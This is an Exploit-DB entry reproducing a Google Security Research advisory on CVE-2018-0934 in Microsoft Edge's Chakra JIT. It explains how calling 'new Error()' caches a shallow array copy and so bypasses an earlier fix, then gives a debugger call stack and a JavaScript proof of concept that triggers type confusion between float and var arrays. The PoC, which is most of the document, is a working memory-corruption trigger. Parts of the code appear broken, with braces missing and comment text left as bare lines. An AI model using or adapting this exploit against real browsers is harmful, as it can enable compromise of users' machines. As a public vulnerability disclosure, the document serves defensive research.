Microsoft Edge Chakra JIT - Stack-to-Heap Copy (Incomplete Fix 2)

EDB-ID: 44397
Author: Google Security Research
Published: 2018-04-03
CVE: CVE-2018-0934
Type: Dos
Platform: Windows
Aliases: N/A
Advisory/Source: Link
Tags: N/A
Vulnerable App: N/A

 Here's a snippet of JavascriptArray::BoxStackInstance. 
template <typename T>
T * JavascriptArray::BoxStackInstance(T * instance, bool deepCopy)
// On the stack, the we reserved a pointer before the object as to store the boxed value
T ** boxedInstanceRef = ((T **)instance) - 1;
T * boxedInstance = *boxedInstanceRef;
if (boxedInstance)
return boxedInstance;

const size_t inlineSlotsSize = instance->GetTypeHandler()->GetInlineSlotsSize();
if (ThreadContext::IsOnStack(instance->head))
boxedInstance = RecyclerNewPlusZ(instance->GetRecycler(),
inlineSlotsSize + sizeof(Js::SparseArraySegmentBase) + instance->head->size * sizeof(typename T::TElement),
T, instance, true, deepCopy);
else if(inlineSlotsSize)
boxedInstance = RecyclerNewPlusZ(instance->GetRecycler(), inlineSlotsSize, T, instance, false, false);
boxedInstance = RecyclerNew(instance->GetRecycler(), T, instance, false, false);

*boxedInstanceRef = boxedInstance;
return boxedInstance;

The method checks if the array has already been copied, and if so, it just returns the cached copied array stored in "boxedInstanceRef".

My idea for bypassing the fix was:
1. In any way, invoke the method with "deepCopy" set to false.
2. From the next call, whatever the value of "deepCopy" is, the method will return the cached shallow-copied array.

And I found out that the constructor of "Error" iterates over all the functions and arguments in the call stack and invokes "BoxStackInstance" with every argument and "deepCopy" set to false.

Call stack to "JavascriptOperators::BoxStackInstance" from "new Error()":
#0 Js::JavascriptOperators::BoxStackInstance (instance=0x7fffffff5bb8, scriptContext=0x5555561a8e78, allowStackFunction=0x0, deepCopy=0x0)
at ChakraCore/lib/Runtime/Language/JavascriptOperators.cpp:9801
#1 0x00007ffff5d1834a in Js::InlinedFrameWalker::FinalizeStackValues (this=0x7fffffff57d8, args=0x7fffffff5b90, argCount=0x1)
at ChakraCore/lib/Runtime/Language/JavascriptStackWalker.cpp:1364
#2 0x00007ffff5d13f11 in Js::InlinedFrameWalker::GetArgv (this=0x7fffffff57d8, includeThis=0x0) at ChakraCore/lib/Runtime/Language/JavascriptStackWalker.cpp:1353
#3 0x00007ffff5d13d7b in Js::JavascriptStackWalker::GetJavascriptArgs (this=0x7fffffff57a8) at ChakraCore/lib/Runtime/Language/JavascriptStackWalker.cpp:273
#4 0x00007ffff5d5426d in Js::StackTraceArguments::Init (this=0x7fffffff5710, walker=...) at ChakraCore/lib/Runtime/Language/StackTraceArguments.cpp:82
#5 0x00007ffff5c98af8 in Js::JavascriptExceptionContext::StackFrame::StackFrame (this=0x7fffffff5700, func=0x7ffff7e402a0, walker=..., initArgumentTypes=0x1)
at ChakraCore/lib/Runtime/Language/JavascriptExceptionObject.cpp:168
#6 0x00007ffff5c9afe7 in Js::JavascriptExceptionOperators::WalkStackForExceptionContextInternal (scriptContext=..., exceptionContext=..., thrownObject=0x7ff7f2b82980,
callerByteCodeOffset=@0x7fffffff58b8: 0x0, stackCrawlLimit=0xffffffffffffffff, returnAddress=0x0, isThrownException=0x0, resetStack=0x0)
at ChakraCore/lib/Runtime/Language/JavascriptExceptionOperators.cpp:955
#7 0x00007ffff5c9a70c in Js::JavascriptExceptionOperators::WalkStackForExceptionContext (scriptContext=..., exceptionContext=..., thrownObject=0x7ff7f2b82980, stackCrawlLimit=0xffffffffffffffff,
returnAddress=0x0, isThrownException=0x0, resetSatck=0x0) at ChakraCore/lib/Runtime/Language/JavascriptExceptionOperators.cpp:883
#8 0x00007ffff5e4460f in Js::JavascriptError::NewInstance (function=0x7ffff7ed17c0, pError=0x7ff7f2b82980, callInfo=..., newTarget=0x7ffff7ef16d0, message=0x7ffff7ee4030)
at ChakraCore/lib/Runtime/Library/JavascriptError.cpp:74
#9 0x00007ffff5e44ad3 in Js::JavascriptError::NewErrorInstance (function=0x7ffff7ed17c0, callInfo=...) at ChakraCore/lib/Runtime/Library/JavascriptError.cpp:127

I just needed to insert "new Error();" to the top of the "inlinee" function in the old PoC.


// To test this using ch, you will need to add the flag -WERExceptionSupport which is enabled on Edge by default.

function inlinee() {
new Error();
return inlinee.arguments[0];

function opt(convert_to_var_array) {
To make the in-place type conversion happen, it requires to segment.

let stack_arr = []; // JavascriptNativeFloatArray
stack_arr[10000] = 1.1;
stack_arr[20000] = 2.2;

let heap_arr = inlinee(stack_arr);

stack_arr[10000] = 2.3023e-320;

return heap_arr[10000];

function main() {
for (let i = 0; i < 10000; i++) {
opt(new Function('')); // Prevents to be inlined

print(opt(heap_arr => {
heap_arr[10000] = {}; // ConvertToVarArray


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